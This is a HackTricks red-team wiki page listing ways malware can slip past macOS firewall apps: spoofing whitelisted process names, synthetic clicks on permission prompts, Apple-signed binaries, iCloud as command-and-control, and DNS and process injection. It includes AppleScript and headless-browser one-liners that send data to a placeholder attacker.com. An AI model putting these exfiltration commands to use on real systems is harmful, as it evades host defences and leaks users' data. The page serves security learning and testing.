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116 lines
4.3 KiB
Markdown
116 lines
4.3 KiB
Markdown
# macOS Bypassing Firewalls
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Found techniques
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The following techniques were found working in some macOS firewall apps.
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### Abusing whitelist names
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* For example calling the malware with names of well known macOS processes like **`launchd`**
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### Synthetic Click
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* If the firewall ask for permission to the user make the malware **click on allow**
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### **Use Apple signed binaries**
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* Like **`curl`**, but also others like **`whois`**
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### Well known apple domains
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The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
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### Generic Bypass
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Some ideas to try to bypass firewalls
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### Check allowed traffic
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Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
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```bash
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lsof -i TCP -sTCP:ESTABLISHED
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```
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### Abusing DNS
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DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
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<figure><img src="../../.gitbook/assets/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
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### Via Browser apps
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* **oascript**
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```applescript
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tell application "Safari"
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run
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tell application "Finder" to set visible of process "Safari" to false
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make new document
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set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
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end tell
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```
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* Google Chrome
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{% code overflow="wrap" %}
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```bash
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"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
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```
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{% endcode %}
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* Firefox
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```bash
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firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
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```
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* Safari
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```bash
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open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
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```
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### Via processes injections
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If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
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{% content-ref url="macos-proces-abuse/" %}
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[macos-proces-abuse](macos-proces-abuse/)
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{% endcontent-ref %}
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## References
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* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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